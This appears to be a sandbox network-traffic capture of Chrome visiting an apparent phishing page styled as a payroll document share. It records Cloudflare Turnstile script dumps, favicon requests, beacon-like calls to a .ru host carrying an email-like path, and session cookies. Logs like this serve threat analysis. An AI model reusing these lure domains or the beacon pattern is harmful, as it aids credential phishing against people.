Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-02-14 16:23:03 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 71 74 28 65 29 7c 7c 7a 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 56 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Se(e,t){return qt(e)\|\|zt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ve(e,t){var a={label:0,sent:function(){if(l[0
2025-02-14 16:23:03 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 50 65 3d 33 30 30 30 33 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var Pe=300030;var We=300031;var j;(fu
2025-02-14 16:23:03 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ee\|\|(ee={}));var ce;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ce\|\|(ce={}));var Q;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(Q\|\|(Q={}));v
2025-02-14 16:23:03 UTC	1369	IN	Data Raw: 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 4c 2e 4e 4f 52 4d 41 4c 2c 4c 2e 43 4f 4d 50 41 43 54 2c 4c 2e 49 4e 56 49 53 49 42 4c 45 2c 4c 2e 46 4c 45 58 49 42 4c 45 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 6b 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 Data Ascii: of e=="string"&&Nr.test(e)}function pt(e){return M([L.NORMAL,L.COMPACT,L.INVISIBLE,L.FLEXIBLE],e)}function vt(e){return M(["auto","manual","never"],e)}function mt(e){return M(["auto","manual","never"],e)}var kr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e
2025-02-14 16:23:03 UTC	1369	IN	Data Raw: 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 49 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 22 3a 22 66 62 45 22 3b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 73 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 70 2c 22 74 75 72 6e 73 74 69 6c 65 Data Ascii: o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,g,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",I=a["feedback-enabled"]===!1?"fbD":"fbE";return"".concat(s,"/cdn-cgi/challenge-platform/").concat(p,"turnstile
2025-02-14 16:23:03 UTC	1369	IN	Data Raw: 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 29 7b 69 66 28 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 3d 3d 22 75 6e Data Ascii: (e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&te(e,t)}function ze(){if(typeof Reflect=="un
2025-02-14 16:23:03 UTC	1369	IN	Data Raw: 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 71 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 7a 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 73 72 28 74 68 69 73 2c 63 29 7d 7d 76 61 72 20 66 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 75 72 28 61 2c 65 29 3b 76 61 72 20 74 3d Data Ascii: "\|\|typeof t=="function")?t:qe(e)}function dr(e){var t=ze();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,arguments);return sr(this,c)}}var fr=function(e){"use strict";ur(a,e);var t=
2025-02-14 16:23:03 UTC	1369	IN	Data Raw: 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 6c 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b 74 2e 77 72 61 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 6d 28 22 43 61 6e 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 20 57 69 64 67 65 74 2c 20 45 6c 65 6d 65 6e 74 20 6e 6f 74 20 66 6f 75 6e 64 20 28 23 22 2e 63 Data Ascii: ,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((l=t.params.theme)!==null&&l!==void 0?l:t.theme,"/").concat(a);t.wrapper.parentNode\|\|m("Cannot initialize Widget, Element not found (#".c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49750	104.16.2.189	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:03 UTC	636	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:03 UTC	697	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:23:03 GMT Content-Type: image/png Content-Length: 937 Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=50P1LbKbOWfcmxD5adzmgVPxjEoFNfBsQhqAfR2Rm4s-1739550183-1.0.1.1-cxQXzQS9RumXoz3gB9y6ljRMnGHL6vkuwjpeqVbTHdmLKidsgyZt4M9PFD9QFYJngSwADAixD_QPeglqnZfgtg; path=/; expires=Fri, 14-Feb-25 16:53:03 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 911e6688cef54358-EWR alt-svc: h3=":443"; ma=86400
2025-02-14 16:23:03 UTC	672	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-02-14 16:23:03 UTC	265	IN	Data Raw: a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d fe 77 23 bf 7e 8b c6 3c bd c1 67 0f 56 7a 91 a9 c6 c8 6f 40 1a 65 ce 9b fb 93 9b 1b b9 91 1b bf 01 83 32 f8 e3 ed 08 de 54 00 00 Data Ascii: _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=w#~<gVzo@e2T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49756	104.16.2.189	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:04 UTC	527	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=50P1LbKbOWfcmxD5adzmgVPxjEoFNfBsQhqAfR2Rm4s-1739550183-1.0.1.1-cxQXzQS9RumXoz3gB9y6ljRMnGHL6vkuwjpeqVbTHdmLKidsgyZt4M9PFD9QFYJngSwADAixD_QPeglqnZfgtg
2025-02-14 16:23:04 UTC	413	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:23:04 GMT Content-Type: image/png Content-Length: 937 Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 911e668d78b49e04-EWR alt-svc: h3=":443"; ma=86400
2025-02-14 16:23:04 UTC	937	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49908	104.21.16.1	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:29 UTC	640	OUT	GET /loray@sysdac8 HTTP/1.1 Host: d8fc.ntonteral.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:29 UTC	828	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PH5w8MTDJrEwTDe1pTfXNlJwu9TKSh0sJq3OMKd%2FwP0mP7qY%2BA4xTTnanTh9tEuwMJmGClb6DlcsmCpAzqfxw1WJs2ompcLjBslre%2B0ywPp0yzJpjNZ4%2B568adUhPacdMb5HTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e672899101899-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1739&min_rtt=1739&rtt_var=652&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1218&delivery_rate=1679125&cwnd=187&unsent_bytes=0&cid=f8cb6078140567fd&ts=615&x=0"
2025-02-14 16:23:29 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-02-14 16:23:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49915	104.21.16.1	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:30 UTC	354	OUT	GET /loray@sysdac8 HTTP/1.1 Host: d8fc.ntonteral.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:31 UTC	827	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rNn6jpd8WWFYAPLLIXzwdoTTsGYRxNJeApjFQ%2FzvOGqDd8%2FN7skV9mQUUtn6q0cwSjiYOtGhNYIjpzHih3cH%2FFas7SixvLMoC0mfNWeVQV05LpaxTRfjtXaVvbvoG%2FqXu0TwaQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e6730cfaf8ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1780&min_rtt=1775&rtt_var=676&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=932&delivery_rate=1606160&cwnd=227&unsent_bytes=0&cid=321db940f583aeb5&ts=742&x=0"
2025-02-14 16:23:31 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-02-14 16:23:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	50004	188.114.97.3	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:24:04 UTC	1468	OUT	GET /qZwIOJI7cJMcfTGYSTk/ HTTP/1.1 Host: payrollfaxdocs-shared-employid6237262721.deliberate9.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjN5a1hIaEJXcUNXYkRIVVdVK1ZsWEE9PSIsInZhbHVlIjoiM01tWjJRc2RsNi9nQ0I5SnExZlo3a3BSYzhwNWtoWTJTblBJOUJUNm0rcFloaU93QW4zL3RFWHRaMEYycURXNUdidXUwalZmNStWWWFPMXlvOVh2cXVHRExhZ0Fac1htSUpQbE5HRklRckx6Nkx2WjJadFN0WFc2Y0hxR3IzU0MiLCJtYWMiOiI1OWY3OGFmN2JhOTBlYzI2YzljZmUzZTg3MGMzYTQwNjc5NjZlMDk2ZDk1NTliZWIwY2Y0YzM0ZjkyYWNiZDAxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im81R3dlazZBKzN0aVFYRkx5QXJZZnc9PSIsInZhbHVlIjoiV0FvbWxMWmV5enA2SjR6cWtEbzNtL1cyYmNDYWk5OEc0ZFRFSTNrTEJNVnFpSk1ZSWNaVXd2M2N5QkdwTEoyMG1kMFlLTEUzVlB1a3l6cjcxL09zUm4wR3IzSEtQQlpkcDRMb0oyZnpseW1MMWY1Yk0vdjVOY0xIclgrZnlNNnMiLCJtYWMiOiJkYzljMjk2YmY5NzQ4OTg1N2Y3MjI0Njk5ZjEwM2IzM2JiZDBmNzhjMmU4OTczZGU4MzE4MWQ1YmMxYjEzYzE2IiwidGFnIjoiIn0%3D
2025-02-14 16:24:05 UTC	1240	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:24:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b21JWwEoxglYU5gybbtpA0axvmxHdE3s2heLv11NUTV2pBBQY1DY82PZyDEdMRnNFXykV6ePjrVEbFeCq4%2BXrqDbG3usACPMgiExw2qLEy3l2CNWoik%2Fxnb4LWIJ6g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1235&min_rtt=1183&rtt_var=481&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=2363&delivery_rate=2448013&cwnd=251&unsent_bytes=0&cid=22238cebcb2a40d2&ts=169&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkNnQk8rMUlLNHJjSVlGb21rano4OVE9PSIsInZhbHVlIjoiQzEvM2JuSVU0eEdPYmJ6RERHQzNPbVovQXhNY3NtdDc1Rzh1MGpwRWtGcTdleE0rWGNlSDhPRHA3RUR2eHphMGRndFpWTEJJU1NqWTNqWS9QZlVFcUJsUVRBWnB4Mk10Yy95UUJlTlhMLzNpSlMwbGhLZXo5dXJXMDZtdGpwK0wiLCJtYWMiOiIzNWUxMjQ3NTFkZjQzNTIwNzdhMTA5MjBkYjEwYWFlMzBlZmY0YWNkMjZmZjZmMzY1NGFkZjU1MGZhNTJlOTc4IiwidGFnIjoiIn0%3D; expires=Fri, 14-Feb-2025 18:24:05 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-02-14 16:24:05 UTC	731	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 46 76 53 31 46 6a 55 31 6c 7a 4e 48 64 56 63 48 64 55 57 46 6c 78 65 55 70 59 59 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 56 7a 52 4f 59 6d 70 77 62 57 6f 79 61 7a 4e 54 57 46 56 42 64 31 4e 6d 59 57 52 51 62 48 4e 31 55 45 64 4d 4d 69 39 30 5a 6e 67 77 63 45 31 4c 5a 54 56 58 56 46 52 5a 65 6a 4a 4d 4c 30 78 57 52 44 4a 6a 51 6b 4e 78 51 6a 4a 55 65 57 70 30 56 32 4e 6e 53 30 4e 49 62 6d 5a 6b 57 55 68 79 4e 54 51 35 51 6e 5a 35 5a 47 77 31 64 32 6f 34 65 6d 77 7a 4e 57 5a 68 4d 32 5a 30 51 58 5a 59 59 6a 46 48 56 6c 4a 6e 4d 32 56 58 53 7a 68 76 4c 7a 4a 30 51 31 6c 54 64 47 78 6e 61 47 78 57 56 6a 4e 51 4e 55 78 4b 63 